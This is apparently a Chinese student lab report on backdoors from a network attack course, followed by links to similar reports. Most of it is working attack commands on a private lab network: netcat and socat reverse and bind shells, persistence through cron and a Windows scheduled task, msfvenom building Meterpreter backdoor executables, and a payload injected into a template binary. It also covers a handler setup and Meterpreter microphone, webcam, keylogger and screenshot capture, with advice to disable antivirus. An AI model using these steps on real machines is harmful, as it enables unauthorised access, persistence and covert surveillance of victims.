20191317 Exp2-后门原理与实践
20191317 Exp2-后门原理与实践
实验基础
本次实验需要我们掌握后门的基础知识,学习使用nc
实现Windows,Linux之间的后门连接,学习使用Metaspolit的msfvenom
指令生成简单的后门程序,学会MSF POST模块的应用。
基础知识
后门的概念
后门就是不经过正常认证流程而访问系统的通道。后门可能出现在编译器中、操作系统中,最常见的是应用程序中的后门,还可能是潜伏于操作系统中或伪装成特定应用的专用后门程序。
实验目标
- 使用netcat获取主机操作Shell,cron启动
- 使用socat获取主机操作Shell,任务计划启动
- 使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
- 使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
- 使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell。
实验环境
环境
- 主机:Windows 7;
- 靶机:Kali Linux 10;
在主机上用ifconfig
查看Windows7主机IP
主机IP为192.168.30.151
在Kali虚拟机中用sudo ipconfig
查看Kali虚拟机IP
Kali虚拟机IP为192.168.30.147
实验过程
一、使用netcat获取主机操作Shell,启动cron
在主机中使用ncat -l -p 1317(个人学号后四位)
监听本机的1317端口
(注:若Windows中未安装ncat
命令,可以点击ncat.rar下载,解压后可使用)
在主机中获取虚拟机shell
在虚拟机中使用nc 192.168.30.151(主机IP) 1317 -e /bin/sh
连接主机反弹shell
成功getshell
在虚拟机中获取主机shell
在虚拟机中用nc -l -p 1317
监听主机1317端口
在主机中用ncat -e cmd 192.168.30.147 1317
,成功获取到主机shell
在虚拟机中启动cron并在主机监听
先在虚拟机上用crontab -e
指令编辑一条定时任务(crontab指令增加一条定时任务,-e表示编辑,输入2表示选择vim编辑器)
在最后一行添加17 * * * * nc 192.168.30.151 1317 -e /bin/sh
,即在每个小时的第17分钟反向连接Windows主机的1317端口
等到每小时的17分,在ip地址为192.168.30.151的主机端用ncat -l -p 1317
打开监听即可
在主机成功获取虚拟机的shell
此外,也可以开一个非反弹式后门,在cron中写入nc -l -p 1317 -e /bin/sh
,这是攻击机能随时通过nc 主机ip 1317
获得虚拟机的一个Shell
二、使用socat获取主机操作Shell,任务计划启动
在Windows获得Linux Shell
在Kali中用man socat
查看使用说明
在Windows中按Win+R
,再输入compmgmt.msc
打开计算机管理
在系统工具中的任务计划程序中创建任务
设置任务名称
新建触发器
下一步是新建操作,但在新建操作前,我们需要在Windows上下载socat.rar,并解压后使用,使用参考README
新建操作,操作设置为启动程序socat.exe
,并添加参数tcp-listen:1317 exec:cmd.exe,pty,stderr
,这个命令的作用是把cmd.exe
绑定到端口1317,同时把cmd.exe的stderr重定向
设置好后我们按下Win+L
(通用)或者F10
(一些电脑适用)锁定工作台,即把电脑锁屏。解锁后出现命令行
在Kali中输入命令socat - tcp:192.168.30.151:1317
成功获取Windows的Shell
三、使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
在Kali上生成后门可执行程序20191317_backdoor.exe
输入msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.30.147 LPORT=1317 -f exe > 20191317_backdoor.exe
,其中
LHOST
为反弹回连的IP,在这里是要反弹给Kali,也就是Kali的IPLPORT
是回连的端口-p
使用的payload。
payload翻译为有效载荷,就是被运输有东西。这里windows/meterpreter/reverse_tcp就是一段shellcode。-f
生成文件的类型>
输出到哪个文件
在Windows上打开监听
在Kali上用nc 192.168.30.151 1317 < 20191317_backdoor.exe
将生成的20191317_backdoor.exe
后门程序传过去
在kali上使用msfconsole
指令进入msf控制台
对msf控制台进行配置
依次输入以下命令
use exploit/multi/handler #使用监听模块,设置payload
set payload windows/meterpreter/reverse_tcp #使用和生成后门程序时相同的payload
set LHOST 192.168.30.147 #KaliIP,和生成后门程序时指定的IP相同
set LPORT 1317
接着输入exploit
进行监听,在Windows在打开20191317_backdoor.exe
后成功获取到Windows的shell(注意最好把所有杀毒软件退出,否则打开后门程序时很容易出现拒绝访问的情况)
四、使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
获取目标主机音频
在之前进入的MSF exploit中输入record_mic
指令进行录音(-d
可设置时长)
获取目标主机摄像头
输入webcam_snap
指令控制摄像头进行拍照
run webcam
可以进行屏幕录制,相当于不间断地用摄像头拍照片,并不断存储在一个jpg中,在文件系统中我们会看到一个在不断变化的jpg文件
获取击键记录
输入keyscan_start
开始捕获键盘记录,keyscan_dump
获取击键记录(-d
可设置时长)
截取主机屏幕
使用screenshot
指令可以进行截屏
五、使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell
参考网上资料找到指令
msfvenom -p windows/meterpreter/reverse_tcp -x ./KiTTYPortable.exe -e x86/shikata_ga_nai -i 5 -b ‘\x00’ LHOST=192.168.20.136 LPORT=443 -f exe > KiTTy_backdoor.exe
- 在参数说明中提到,
-p
使用的为有效载荷,由于我们是在x86下的linux系统,所以要改为linux/x86/meterpreter/reverse_tcp
。 -x
是可执行文件模板,shellcode会写入这个可执行文件中LHOST
、LPORT
是ip地址和端口,我们把它改为192.168.30.147
和1317
-f
是生成文件的类型,我们把它改为二进制可执行文件elf
所以最后的payload为
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.30.147 LPORT=1317 -x 20191317pwnexp2 -f elf > 20191317exp2
输入msfconsole
进入MSF控制台,保持对应配置和之前相同
use exploit/multi/handler #使用监听模块,设置payload
set payload linux/x86/meterpreter/reverse_tcp #使用和生成后门程序时相同的payload
set LHOST 192.168.30.147 #KaliIP,和生成后门程序时指定的IP相同
set LPORT 1317
再在msf
中使用exploit
监听
在另一终端中将运行20191317exp2
执行
可看到msf
中获取权限
成功获得shell
基础问题回答
例举你能想到的一个后门进入到你系统中的可能方式?
某些图片也可以被植入后门,如果你下载之后再点开,就会中招
例举你知道的后门如何启动起来(win及linux)的方式?
- Windows
将后门安装为服务,服务设置为开机自启动,后门随之启动。 - Linux
linux同样有着开机自启动的脚本
Meterpreter有哪些给你印象深刻的功能?
Meterpreter是Metasploit框架中的一个扩展模块,作为溢出成功以后的攻击载荷使用,攻击载荷在溢出攻击成功以后给我们返回一个控制通道。使用它作为攻击载荷能够获得目标系统的一个Meterpretershell的链接。Meterpretershell作为渗透模块有很多有用的功能,比如添加一个用户、隐藏一些东西、打开shell、得到用户密码、上传下载远程主机的文件、运行cmd.exe、捕捉屏幕、得到远程控制权、捕获按键信息、清除应用程序、显示远程主机的系统信息、显示远程机器的网络接口和IP地址等信息。另外Meterpreter能够躲避入侵检测系统。在远程主机上隐藏自己,它不改变系统硬盘中的文件,因此HIDS[基于主机的入侵检测系统]很难对它做出响应。此外它在运行的时候系统时间是变化的,所以跟踪它或者终止它对于一个有经验的人也会变得非常困难。最后,Meterpreter还可以简化任务创建多个会话。可以来利用这些会话进行渗透。
Metasploit提供了各个主流平台的Meterpreter版本,包括Windows、Linux,同时支持x86、x64平台,另外,Meterpreter还提供了基于PHP和Java语言的实现。Meterpreter的工作模式是纯内存的,好处是启动隐藏,很难被杀毒软件监测到。不需要访问目标主机磁盘,所以也没什么入侵的痕迹。
如何发现自己有系统有没有被安装后门?
- 内存经常被占用
病毒打开了许多文件或占用了大量内存。 - 电脑中出现了一些不明服务
- 某些文件打不开
病毒修改了文件格式;病毒修改了文件链接位置。文件损坏;硬盘损坏;文件快捷方式对应的链接位置发生了变化;原来编辑文件的软件删除了。 - 出现大量来历不明的文件
后门复制了大量文件。 - 电脑自动执行或启动程序
后门在执行非法操作。
实验心得
本次实验感觉非常有意思,无论是获取win主机shell或者是获取linux主机shell,以及监听主机摄像头,麦克风,键盘输入或者屏幕截图。都非常有意思,但是这一切的前提是,两台主机可以互相ping通,如果ping不通,以上一切全部免谈。所以本次实验,大部分只起到了科普作用,没有实际上的用处。如果要实用,我觉得首先就要突破网关限制,要么是在同一局域网下,要么不在局域网下,但是要突破网关连通内网主机。
20191317 Exp2-后门原理与实践的更多相关文章
- 2018-2019-2 网络对抗技术 20165232 Exp2 后门原理与实践
2018-2019-2 网络对抗技术 20165232 Exp2 后门原理与实践 1. 后门原理与实践实验说明及预备知识 一.实验说明 任务一:使用netcat获取主机操作Shell,cron启动 ( ...
- 20155324《网络对抗》Exp2 后门原理与实践
20155324<网络对抗>Exp2 后门原理与实践 20155324<网络对抗>Exp2 后门原理与实践 常用后门工具实践 Windows获得Linux Shell 在Win ...
- 2018-2019-2 20165237《网络对抗技术》Exp2 后门原理与实践
2018-2019-2 20165237<网络对抗技术>Exp2 后门原理与实践 一.实践目标 使用netcat获取主机操作Shell,cron启动 使用socat获取主机操作Shell, ...
- 2018-2019-2 网络对抗技术 20165325 Exp2 后门原理与实践
2018-2019-2 网络对抗技术 20165325 Exp2 后门原理与实践 实验内容(概要): (1)使用netcat获取主机Shell,cron启动 首先两个电脑(虚拟机)都得有netcat, ...
- 2018-2019-2 网络对抗技术 20165206 Exp2 后门原理与实践
- 2018-2019-2 网络对抗技术 20165206 Exp2 后门原理与实践 - 实验任务 (1)使用netcat获取主机操作Shell,cron启动 (0.5分) (2)使用socat获取主 ...
- 2018-2019-2 网络对抗技术 20165323 Exp2 后门原理与实践
2018-2019-2 网络对抗技术 20165323 Exp2 后门原理与实践 一.实验要求 (3.5分) (1)使用netcat获取主机操作Shell,cron启动 (0.5分) (2)使用soc ...
- 2018-2019-2 20165235《网络对抗技术》Exp2 后门原理与实践
2018-2019-2 20165235<网络对抗技术>Exp2 后门原理与实践 实验内容 1.使用netcat获取主机操作Shell,cron启动 2.使用socat获取主机操作Shel ...
- 2018-2019-2 网络对抗技术 20165311 Exp2 后门原理与实践
2018-2019-2 网络对抗技术 20165311 Exp2 后门原理与实践 后门的基本概念 常用后门工具 netcat Win获得Linux Shell Linux获得Win Shell Met ...
- 2018-2019-2 网络对抗技术 20165317 Exp2 后门原理与实践
2018-2019-2 网络对抗技术 20165317 Exp2 后门原理与实践 基础问题回答 例举你能想到的一个后门进入到你系统中的可能方式? 下载免费应用的时候会有绑定木马. 浏览某些网页时会有内 ...
- 2018-2019-2 网络对抗技术 20165336 Exp2 后门原理与实践
2018-2019-2 网络对抗技术 20165336 Exp2 后门原理与实践 1.基础问题回答 (1)例举你能想到的一个后门进入到你系统中的可能方式? 下载自己不熟悉的软件时含有病毒. 网络钓鱼, ...
随机推荐
- 使用fopen,fscanf等函数报安全性问题的错误,unsafe...
方法一:项目-属性-C/C++-预处理器定义,添加_CRT_SECURE_NO_WARNINGS. 方法二:使用fopen_s,fscanf_s等安全函数.
- js 实例对象 面向对象编程
1.对象是什么 面向对象编程(Object Oriented Programming,缩写为 OOP)是目前主流的编程范式.它将真实世界各种复杂的关系,抽象为一个个对象,然后由对象之间的分工与合作 ...
- Create React App 安装时出现的错误解决方法
安装很简单 创建一个文件夹 xxx 第一步:npx create-react-app my-app 第二部:cd my-app 第三部:npm start 安装时出现的错误 一 解决方案 一: 全 ...
- uni-app学习笔记之----目录认识
新建了一个项目之后,先简单认识目录结构 1.pages 存放项目的所有页面 2.static 存放静态资源 3.unpackage 存放项目打包之后生成的文件 4.App.vue 项目的根组 ...
- 51电子-STC89C51开发板:回忆
全部内容,请点击: 51电子-STC89C51开发板:<目录> --------------------------- 正文开始 --------------------------- ...
- mysql安装,3306端口被占用的解决办法
如果安装mysql时,提示3306端口被占用:可以按下面步骤执行: 1.查看占用3306端口的程序 netstat -ano|findstr 3306 2.杀死该端口对应的进程 如上图,3306端口对 ...
- centos7.8 安装 redis5.0.2
1.安装gcc依赖 redis是由C语言开发,因此安装之前必须要确保服务器已经安装了gcc,可以通过如下命令查看机器是否安装: gcc -v 如果没有安装则通过以下命令安装: yum install ...
- 学习- vue 中 API $attr 用法
2.4.0新增 定义:包含了父作用域不作为 prop 被识别(且获取)的 attribute 绑定( class 和 style 除外).当一个组件没有声明任何 prop 时,这里会包含所有父作用域的 ...
- 5-MIGO收货-请维护容差码VP(公司代码1000)的容差限制-消息号 M8215
请维护容差码VP(公司代码1000)的容差限制 消息号 M8215 诊断 系统试图检查输入输入是否在特定的限度范围之内.由于尚未维护显示的容差码限制,所以无法进行此操作. 步骤 系统管理员必须在公司代 ...
- kali 更新到最新版(测试中...)
# 确认源 (下面用阿里云的源举例) echo "deb https://mirrors.aliyun.com/kali kali-rolling main non-free contrib ...